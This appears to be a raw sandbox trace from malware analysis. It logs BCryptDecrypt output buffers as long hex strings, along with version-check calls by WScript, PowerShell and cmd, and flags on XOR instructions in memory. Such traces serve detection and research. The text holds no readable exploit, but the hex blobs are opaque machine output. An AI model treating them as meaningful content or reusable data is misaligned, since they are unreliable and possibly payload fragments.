"f4c5a534e549615e6ba805a503b7e2c08565be6d30bbc2d28998e91aaf2754272d6b3d56e69c6821aa34690b8a4cd4644005362c82a188d4ad9ace69d00aeb67d6b79b73e8e26dc74e589e8acdeaa67d4337d0cf77ceb874c7daefae78d3ce572f0f4f3b234a4e38b68138d32a571a00a5211d036a569d3742a1c1084021461a5dddb9909f1f3e8d579e3cf6a658a818e54aac282c2c423e9de1ce9d8138d180a20edab60c84d08ec042c345c678b2000b1eaacc70e994a82040a083b275699a22c02842aa81f50a9ba1e9bcf513832e9b4edcba74e8c7467acf2bce914d3ea151a10db52b904282c1f712358acc71388b18b81072a58a9aa4cd8d6807a34cb365bb553a35e954e48d944a2f1592447a198f5915e19eae35c650b973526f4330896e16140c1906bacf7d47331ebd651cd38600a122f2a1d56699a5b980636096aa0510f2583d115d6b8446ed4f6545ad4a6f3c2d4d922c1c558c25539cb5972ab1ca8d65b5699af2c6f2c970e9d01c0b8df3b5c89a968834c833d8932acb3096d32e28481e79b79a0aa1611620f26a6d958945dd408a244db73e8d8b5eecedbb4145e6cd72949aae8ba0486a5ab35068bc84ced0d9ad5b72f379f6ca2237b346dd61a497084f38975142f42ebd9f42f45d3cf9b29e7abd01c8e7d397085c753b783c670f5e69d235ab6e6c59742153a819d14668a9d35099ae8699f3f2e8256ea569267455c0aa7954ad159e4ac63855e5b36e54c9a04e558a4d770a4aa5865d3559ac9321f59900459089ca95415b457088d69b5940553123a6398c9d74e7d5cbd78c45ad889bed6b8e3e6ef74e9da8eadaef45aefd69cb8ae75478dd3cbe6573d543af2cd36216e74b8a8d50e54dd31953ea3a39f8b969c8cb7a1d350284da9196ed23e91dbe77ceb87bf34ea29db29a6b944dc15b549c080da954d4036969c64135a654e68bb0a036a93a0814103a7a61cdcf7a080404d331e875e79e6c9cb18116cb8426c72b9ae96fcd832d94ac85d5d30e646e29d852a302976d6f6b3e7d16207348b6a914102c56163a0652a4e951b71334dcaa4ba01130a5395b9814d3c60389da6e2ad5ba7478f2df3e626c56a7a933ebe0f24f5e83d38aad751a19d0bcf063d591e64c21bd832e31ae189dc6ee5705a9ac48ddae1cf55b35e6e663d34142302193814972c5c340d3d01a16a4988b426669bcaa94b4cd8eb992067a6ca4b52be8e1e7cac93b670d056f6711e192a344eaf6961440aa83373bb4cb97160272a316770ba965e38274b34ebcf473dc25a19bb6b44d1a7b75e7565d04a9558f5fa3838fcfe8699bd75a75237d4edaab0e6f18ba287e8940b33b8a51221aef14a964b6381995b854ef66994d39da660e52c509416d6a97e9adfb5ec9d313d2df9b165af98e0ecdbbe5e3f0c81aaa5cc79b1acf347712a531a5dce68ab60a"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "68e55ba95cb09661bfaf89ee791cbdbdc9b5565e654010f5599e654fa2de147334e689b674db79f325aa93e6c088d10f33920b0d44ac3254a074df423a75de5c9904a269f1ad27b04e96ab8e89b8a7ce988530beaad58afa4cc12ec37b2dceddb1ce8e6f2ee7a62336551530c7904d99938cd13b2cd33d9ced72ecf671791e3ef1a8a034b42bdc8fabf7f08e7da257435c33e57cd34f15cb8c495792f4c79d0d6ab29476973a69d307b9e765bc1bdce8d23919d915a29046b69bd69434b832cd5c7392f16bcd379752f97ea1e9f83dcc75f95f2757067b4669b0c33deaa33d649b98d026701a0842d02ab11068db2cf1a3ee5797473ca16e841724d02d0422a6aab0ec73757a83b7d0eb5bea1117cc9ae34e9c0ae6caf3ead5f3df3f9fd38d6e18d193d478fd03abc6fa5ae9f9ee787cab2f63055002864d255baa10304505010a058c81f518e742736c0436a51344d0a70201b40a89cd264e498a9ab132e5535d5d30ceab2c6803a06b4b4f4de79a34a0b02100f5d665cfd82d5b0052968acfa4f1e7c6f96358c84ca513583a92e2ac7626a909ab720db9684a93795b4d4c66dcf3a4f4e99e0cb6b19aa7b16980e84fa4a970768b4d8ddcb62ba1554e7accea067462b16c09269ae742a667b05679931034301d366816b2dc39552b622329372d1e340a039535c2a6cdcdad1e3b9bde1caac71922d6ad33cd1a1ad1e993915264d08d22726e6a36bb958f42d1f1ab99baf2623363d19c9959c9d35b7b61f3f5e6cc9e223a73a64799691ad5a22f9b5864ac5c232f3522bcdd1a0d6749882e5d80b195349a44ca59d9a67a245a9c1277474968b8bd52b13cfbd7d5492eb0e3404af53a6cecf55b8ab4026c18d4594b79ab2d1f792d0ea4e70a9ce0daa0d67234ceeb15ae7da56b9e26b2cdc0793b69563bfb3d31f59d979b2d8d49e8b9d15e5397352cb3b7ccbc1083a4a720a98ac440e2caeef4717270ea35ae528ea1b509cf7aacd737aa754122ddab726aa51cbd8fd793df7a1f3fd447cd7cef639d3be89d372cf4e5aad2e17462ad79f24d50354d81884662b6a351b546ad1ee57898b1a5ce626db146fd71e765d2d55b0aecf3fa1eceba776f9bc39fcfaf326b94e79ae31bcfb3a2d5797897c89d7932abba8d759fa45c7f49e8e1f99f2f7f923d0ad272cdc058ec09c8808ac543b0a081a079c2856ca1588da5aaa13ea04609c4e86facfb3ae1ca8d3267ac1c082a66fd31e7e7b40201440265010ad809d05840d396c74a34b544d7d0bbfcce263b799e4ee30526cd2010134b6b4de6b8d1ce5515ade40a948aaa6c6ea695506d694a9539c67545371550ac6c180c49a132900a93219aa64d9ce8ba8abc948072e182d2c1cc581b5a349f67e8f96ee0af27c5e8f374d10320623751922c454e49592a694d144ed68436de211a9004d302c46546105279"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "5b40101ef3a6d33702035c505262143b0b1532c40331102876100856c04ec2818d2d3d11ac0b05a6ea8d3a42229737e877e3e061d60310754675510d72b9d082223284c0d8af08ada739a4c26a86c13958a6549282089db35de38b3d6da00ddae098d4b3df446d9b4c5faf3ecbc7991b2a357d6689d1e14ad9a67d5bcfebde8783dec2fe41cddfe4a3d04cb1004daa9ee732b24cd3695a43a178f372df4d482b546da53582c9115aa3198205a35c3167a8136c356c0609d78a33d892606972843a7472a0682a7500e7a90dcac8a3219792d68bac796a6c7b629e92f4c16aba99757075e616bb31beb5a725f362bc6dcb35c519ec907691993d04e79b179e8540d242dcb26d4c8385778cd797a04b4625aeb2cf179ef1d0ec25a5d522dc02b26caa73cde89db64de94d4d592c0d28cf13550735a35c92a332a6318f2259be2bbbd4bd074f2fcf78baf8235efcfcf9d1334db8a9b614e8d3b9a3f69d37cdc35e7c2f391ca226ab16aef3e73c656294caa51366324de5903d4ca9cab52bc847925bae4e747e7b2dc2986cd04c3464e8ed79b5b8c78f4be2b428d4aee67d9f4f9bed3bb0f3fc4fc072fa7c3d5f274c1370b208569921eab3396e996fdb2e4f3f4ecbcf9f1b00a0d649201206b4567996da9747667b2f2dba53bf451d62b46b97270d70565c5be7e3d66668f76da8e469caadb830abe8e9873a35acf79a634176aa977b6e7f37cbd8038d7474e6e767bc108dce0ea74332e1d47498e734d8398d32b354b3a91004e80c4216ced69cdc4cbaa05b429c0a15b0da04e05831cad3d551d1ac7859f540b0a0b0767b50e0a0b769966cf600b6ba57972b3d9f50956c7202a0898aab644cdcd264a993415055023899b41144a8c28668015012a3a9eaebcfc7cba4594d443c073d5aad3507790134ac0742a63194aadceb73effbfc7d21f3bf3fd9c13a5276e441d34d7315ba3462d0034e99746a79d16a9aeae99e6cba9734b7908846449ad0c0405c2d820c062b7de612512b9a726f56e06b818d8c661a348ece9cfc4e7eb5cd34a8810d0d412fa3838d968f5ab12179c062aea46fc5d39ddae3ab2ebe94eb8e60ab3e799e5bcadb669962052ad3506095297253a58ad3b2fa04e36ed592ae94756b9ded46326d4f4edf5af4e4c2e70b1acc69666a5482b717a274d91a6b5560f1e979a96579adba477fa39b065d1825f3605d8fbc119bd89fa4ec79f37e7b37c49cf2699e6b4fb8c93695a74f5c7363d5b957a6ae9d61cc78f11f264cf7d2a8091656bc78440969d310548cf7d77901431a9262366d8639bec4ebc878a53701e7ab95d34352b54c60357793aa119e9ad2667a362b407a131f57b61e5b9b5f25af46b8b44d7336e74de02d32b304dcaac115930a4084291637dc250eacf34da4ad579216833a6b2ba387a1d5cfaba13a7568a46049147326"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "c4c6bab5cb13ccf5e161d9cacefca71f4011a92f47d33c6c9f073856b965a99be7ecbb7ccf9f79fea4a139f43675d2b4def4d0a8ab3e03e754de9a3bdd1c7c5e6e9ce4e0bc0eb35b960ad895499bd93ad5e26ab13a368a6d6f35a348689a936e2dae7227752edb9f18e29cd3a3a462adeaba39edd568f2df97718f6e6f6d8c4f23d4f17db787bfccc292ab36d66fa959098b1734d8a29cda2ea447d2df97067ba26ec20e4db15daaeac75f7f2ece91a2868948a38ef2bacf94f34e991548d66fe8e4e711cf8d042d54b804ed86e298a9b81a2f2cf3742a4dd508550226e9d9f3b40b1ade63598565d3d79b9196e2d504081bef289619da809a14cda043aa52aa8203ea5335114c89bee1134402110ea9d396fd3d79f8f9f4293a6687009814448aa6d425541c4c9c88ec4d6a9304537a348f43d1c1cee5e8e667d5632174b5cb9796d1cc1b5aacf5143042ca962c8cdda658f3d68706b7040698a7410a8e63911ecd714c68a8d18d45510151402324d89bdad6d1a7d0d72561d19276a9b6b1622169a9997447094e38069483a4334c60085cc1b5593809a7d4244d7151adcd6b602095ea1e8bc71c5b56ba16ba8796614e299014f23acf34d93653a05f3a146c9dac3bba65e6274a73a274e8e7b3553d532a710b9d78a34c73925af3aa5bea530c4a2089531cb4a072bd8afa7ae3cdc3a928639d22caa9602306b2d40b9175dadb0c38f50c6cf55dad33563d7d8a9d63b4bbbd3e77abdf8f5bccda800eb87cfdb973d7cb63bf231ade2f45d398eb3e3f85f39e79ea1bd387aeeee0f0bc1e9ae3729d093d1a648cfa350c1ac82b0d2d74ae3065a039c97cdce702109014a1b2f5335d73f296aa7a0aa64d2f5c18e431ddd2dee742d0a35a682e4af2c7360e013828e1e1d6cba3a53bb2186fcf9b33b9d5c9e67cff005b99d5c7cdac01a36b45449a89db8784738d302605d4457ebfb38fcbf276e98e87e98a08c534a1c9becc7574b1ed7ad35d0e5a67660249ace2bdf939b0f26fc43b7372e5e44532c72b31566e74d6492d13a508dc820ea465d31950a9a31dc6c6aed3a682b376b8f6f4e7f338740b2c541614062a64014e0581b40102c2008746f11660cf6b01088b65040b06b92c77a65b423a198a83d06dcbe7f1ea80ebcd33748833604d13936ada5cd9a36ed8fdabbbc5f98f276f9de5f481dd254d032938069b22c5c46cd0c048c00d52ee293b731388d1719a6ed3833acd4540b192702c0938985c50344137a296eb83cefa3797afebe4f07e7fa6a8d826f5691e9ba78fcaf17a1ad68f9a3d31c93a2524d66b0b073172d6e45a7698ab3d1ab46aabacd295012664dcdeaa4c8db4008169ce59f5b6746139d421a4bcc2a290c2a34ea9665d1cfd3940469daada6991cac8e95c8e1d3d3348b4a7295277965acb5eb87225aa6b3922e5837dc067a2eb"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "68d49cf45e5c98e88c11b44e556852742d216521075248cec019b9dd59608d89c28aa1e9acfad78f131eba1c544d30064b56fb84260069c0d1a67ea76e7f2bc9dad68a69a5eda3265b34197133d7d074aed63d11745c9d97c47eed9238243fe72a3734be0b0b0b0b0b0b0b0b0b0b0b0b"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "e1ddacbc9f0fa39284b865e39f3d2e914d2dc8566a72b49e5e89d2c2382acb2451a64c34f62a9376cb168b864ea6ad52d4e115964205cda6253c46ab595ceae7ecebcdcecb7646f637eb9eca8e465a0aaf435a065d1afa782563c2e6eaa700d5cb70d2e723901189d53dbe8e6e2f3f53637d99eb6550b95af28de295a3859a69979c0cf36604a9aef6e938f3e8a57a15755ad11b94e9aab0cf8af57af0fb8f438455efd3111e39df2bd8337932d3ccf2f676ba71654f2f9af919be64463bc50c2b59e758680ea3760a5434983a14546d38911251a5acaa33d600dd93b13cf796179f70e832bce560c05274350390d9344e943b0632af29a6586363a8cf14c4d89927ad6cd55af3d9350e79ad50005e5ce70bacd623acd4a9e9db455939ca53445934b142bd34fa2a8134b03c758e2b7b1eb5266a8d798a5eadb3ada6b68cacae73de4b6aee383a71e6ac96e2dacf4a856c7d67adc732366d4aa6e8542b7221028201044e0e0a9ab680204140b0e9ebcdcfcf714e82c04760da904c13810205b549d046a0101b4b4ec0435699f40cf911bde7a5b2031a54d3ea1337028ab132a41326826a0105a059d0d30e767d169989ad2d949c0a4a8ab0216ca8355e976e5f39cfd79e751453543a475f6e6e64e891c4d8e513a58ac769d35bef0c79743ae214137d4d79f938f410fa1a62a4f246d68632c093155bea75233e7d463a4dad681c8b6eb89d463c3a5949083acf31009b569625b4abc453e832e35127312dbcb3c5c070da2db4af2e95a4ba5d8d72c18f53d58919c91bc30920d112957a6a191a6d9daef0e6564c8aead2d8569d72f49ac78ce6d78d37acd36e5d3934e7e97470f0b9fac5119ba6ae5839d0e58e30cd3f5c911a3a3531d27a1ac3a6396f1ceaa907539cab44190a15a412b471ab9b22bd36fcbc8e2f5353b34f5295ce7beb9bda76e6fb9ecefc7a272516a7a1d4a8bcf1af2b0ea5455358f2af3bccf9f19e7b592a74e919e7753a4abd579e65a5cdc6e9260da04e29012b45002c8f040884e79e27196b3d6cf4874e6ae6f2eb4594d7399c129d0af546fa6b3cf1a8867bcaab34274d02649b53d2b4d33a008e342a64e1428e549b0757965902a144908e90c86e22768d3ae029e75a7572eed4b6439c758d8a2623b2b03cb7ceb6abab3d2807468b68ed36370bcf05e79c9cd597275e35d48928a81a2089211eed70c31b5270544db5410742a0b0b08cb000a14082816d35cae6a82864021020ec4ca954d5850402108e050a32c282c1f5289a81a6b3cd3a322e80e814e91bb4c90a93176d5a621438236813b1d04131a05662218266e413d170e739a3452b246e709cf720a10b4211a1441b06aa8065cd353254e6826c93806d08e20dd589414048a03b95209332a26e4ce69ab4d2adeb4a6d4f3e95e69cf5422314d14d6b2d6421c0384a1d4a"}2b:T406,Assembly shows XOR instruction xor rax rsp in Stream UID: 2482-347-000000010000A1A8 Assembly shows XOR instruction xor eax esp in Stream UID: 2482-347-000000010000A1A8 Assembly shows XOR instruction xor rcx rsp in Stream UID: 2482-347-000000010000A1A8 Assembly shows XOR instruction xor ecx esp in Stream UID: 2482-347-000000010000A1A8 Assembly shows XOR instruction xor rax rsp in Stream UID: 2482-325-000000010000D920 Assembly shows XOR instruction xor eax esp in Stream UID: 2482-325-000000010000D920 Assembly shows XOR instruction xor rcx rsp in Stream UID: 2482-325-000000010000D920 Assembly shows XOR instruction xor ecx esp in Stream UID: 2482-325-000000010000D920 Assembly shows XOR instruction xor rax rsp in Stream UID: 2482-139-000000010000AEB0 Assembly shows XOR instruction xor eax esp in Stream UID: 2482-139-000000010000AEB0 Assembly shows XOR instruction xor rcx rsp in Stream UID: 2482-139-000000010000AEB0 Assembly shows XOR instruction xor ecx esp in Stream UID: 2482-139-000000010000AEB02c:T2c5a,"WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000000000000000000000000000000000002d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800413fdfe0700003801510000000000010000000000000070615200000000000000000000000000010000000000000003000000000000000000000000000000800010800000000000000000000000000b630dfdfe07000000004c000000000001000080000000000000000000000000706152000000000000000000 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000002bfafe070000988950000000000038e12f00000000000000000000000000000000000000000000012bfafe0700000002000000000000b08b5000000000000000000000000000e088500000000000300bc7fefe07000080f62bfafe070000c0582cfafe070000d85f2cfafe070000ee81127700000000b08b5000000000002e00310038003800000037005f006e0080f62bfafe070000300bc7fefe070000a2430000660066000100310031003200c0582cfafe0700000000000000000000430054004c003300000000000000000079e9f0f9fe07000000000000 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000056000400000010814c0000000000d0b76f0000000000207d4c000000000030000000000000001c7f4c000000000080834c000000000080005c0000000000c803207700000000b0025c0000000000a0105c000000000000004c0000000000c8032077000000000000000000000000400000000000000000004c0000000000c8032077000000000000000000000000100100000000000000006f00000000000001000000000000000100000000000088036f000000000048dd13770000000000000000000000000000000000000000000000000000000070102bfafe070000e0872cfa (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000068c82f0000000000c8032077000000000000000000000000400000000000000000004c0000000000582c18f4fe0700003000000000000000b8024c000000000048dd137700000000000000000200000030000000000000001b009200c400000010814c00000000000000000000000000b0025c0000000000a0105c00000000000000000000000000060000000000000000e0fdffff0700006c006c0000006c0000004c0000000000c8032077000000000000000000000000100100000000000000006f00000000000001000000000000000100000000000088036f00 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000ff4fe0700003000000000000000b8024c000000000048dd137700000000000000000200000030000000000000000a00d600cc00000010814c00000000004000000000000000b0025c0000000000a0105c00000000000000000000000000060000000000000000e0fdffff07000040080000000000000000000000000000c8032077000000000000000000000000100100000000000000006f00000000000001000000000000000100000000000088036f000000000048dd13770000000000000000000000000001000000000000170068000500000070045c000000000000000000 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000da00cc00000010814c000000000010bc6f0000000000000000000000000000000000000000000000000000000000000000000000000080005c00000000000000000000000000b0025c0000000000a0105c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c8032077000000000000000000000000100100000000000000006f00000000000001000000000000000100000000000088036f000000000048dd1377000000000000000000000000000000000000000000000000000000007010a9f5fe07000000c9aaf5 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b00200031000000660499cc9904cccc9904ffcc990400ff990433ff990466cc990499ff9904ccff9904ffff99040000cc04330099046600cc049900cc04cc00cc04003399043333cc046633cc049933cc04cc33cc04ff33cc040066cc043366cc04666699049966cc04cc66cc04ff6699040099cc043399cc046699cc049999cc04cc99cc04ff99cc0400cccc0433cccc0466cccc0499cccc04cccccc04ffcccc0400ffcc0433ffcc0466ff990499ffcc04ccffcc04ffffcc043300cc046600ff049900ff040033cc043333ff04c894007700000000cc33ff04ff33ff040066ff043366ff046666cc04 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000001000000000000000000000000000000bf14b4ceff690000570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 140100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000008099840200000000f0ee10050000000000004c0000000000e88c137700000000000000000000000060998302000000006639000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010100000000000000000000000000006639000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000000000000000000000000000000000f00f000000000000330300000d000000e0db83020000000070d9830200000000f00f00000000000079007300740065000300000001000000207d4c00000000006900700074002e001c7f4c000000000080834c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c8032077000000000000000000000000400000000000000000004c0000000000a0b2ecfefe0700003000000000000000b8024c000000000048dd1377000000000000000000000000300000000000000035002a00 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b002000310000004c0000000000d8dd137700000000000000000000000060e1fa040000000060e1fa04000000001821003900000000c7f71772000000000200000000000000b0813cfdfe070000000000000000000019000200000000000000000000000000000000000000000002000002000000000200000000000000d539ee760000000040f74f0000000000080000080000000040f74f00000000000000000000000000f00085020000000000000000000000002b000000000000000000000000000000000000000000000040f74f0000000000b097590000000000c0734cfdfe070000e0f3fa04 (UID: 00000000-00001268) "WScript.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001268) "cmd.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000424) "cmd.exe" called "RtlGetVersion" with parameter 000000000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002896) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000070bc1000000000002002c3fefe0700005c00000000000000600dc3fefe070000000000000000000000000000000000000000000000000000a6f999cca3ce0000008000000000000096f999cca3ce000070bc110000000000030000000000000057000780 (UID: 00000000-00002792) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000600000001000000b11d000002000000530065007200760069006300650020005000610063006b0020003100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002792)2d:T2065,"WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000000000000000000000000000000000000040f02f000000000050f02f0000000000010000000000000000000000000000000200000000000000000000000000000000000c000000000000100500000000009cf42f000000000050f12f000000000053d8ed76000000002e020500 (UID: 00000000-00001268) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000008f82bfafe0700000000000000000000d21393fdfe07000002000000ff07000000010000000000001c0000000000000089ce0dfdfe07000001000000000000009f142bfafe070000000000000000000008f82bfafe070000ffffffff000000008213dbfefe07000001000000 (UID: 00000000-00001268) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100f4fe0700000000000000000000d07217f4fe0700002d2d15f4fe070000582c18f4fe070000e0b86f0000000000f0b86f000000000044ee17f4fe0700000100000000000000478e93fdfe0700000000000000000000e87217f4fe070000000015f4fe070000206517f4fe07000001000000 (UID: 00000000-00001268) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100f4fe070000000000000000000098e60ef4fe07000079140df4fe070000d0860ff4fe07000000bb6f000000000020bb6f000000000010ca2f00000000000100000000000000478e93fdfe0700000000000000000000b0e60ef4fe0700000100000000000000a3a10efdfe07000001000000 (UID: 00000000-00001268) "WScript.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000b02daaf5fe0700000000000000000000d21393fdfe07000002000000fe070000000100000000000020bb6f000000000010ca2f000000000001000000000000006f1ba9f5fe0700000000000000000000b02daaf5fe0700000100000000000000a3a10efdfe07000001000000 (UID: 00000000-00001268) "WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001268) "WScript.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b203100000000000030b9fa04000000000090fdffff0700000000e8fefe070000e0db830200000000000000000000000002000000000000000000000000000000d410e8fefe0700000030fdffff0700000090fdffff07000030b9fa04000000002b0000000000000089ce0dfdfe0700000030fdff (UID: 00000000-00001268) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b203100000000000070a510000000000000f0fdffff0700000000e8fefe0700009018360000000000000000000000000002000000000000000000000000000000d410e8fefe07000000d0fdffff07000000f0fdffff07000070a51000000000001e0000000000000089ce0dfdfe07000000d0fdff (UID: 00000000-00002792) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e006900660065007300 (UID: 00000000-00002792) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000050e3100000000000000000000000000077181ffafe070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000cbf1fe07000050e310000000000000000000 (UID: 00000000-00002792) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002792) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c000000edfdfe0700000000000000000000ffffffff0000000000000000 (UID: 00000000-00002792) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000001de73afdfe0700005c030000000000008341ee7600000000000000000000000044b41000000000000000000000000000e0b4100000000000380871e6fe070000bb217de6fe070000000000000000000000000000000000000000000000000000380871e6fe07000000000000 (UID: 00000000-00002792) "powershell.exe" called "GetVersionExA" with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b203100000000000040a215000000000000f0fdffff0700000000e8fefe070000801a3e0000000000000000000000000002000000000000000000000000000000d410e8fefe07000000d0fdffff07000000f0fdffff07000040a21500000000001e0000000000000089ce0dfdfe07000000d0fdff (UID: 00000000-00003372) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e006900660065007300 (UID: 00000000-00003372) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b203100000000000020e0150000000000000000000000000077181ffafe070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000cbf1fe07000020e015000000000000000000 (UID: 00000000-00003372) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003372) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c0000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003372) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b20310000000000001de73afdfe07000060030000000000008341ee7600000000000000000000000014b11500000000000000000000000000b0b11500000000003808f8e9fe070000bb2104eafe0700000000000000000000000000000000000000000000000000003808f8e9fe07000000000000 (UID: 00000000-00003372) "powershell.exe" called "GetVersionExA" 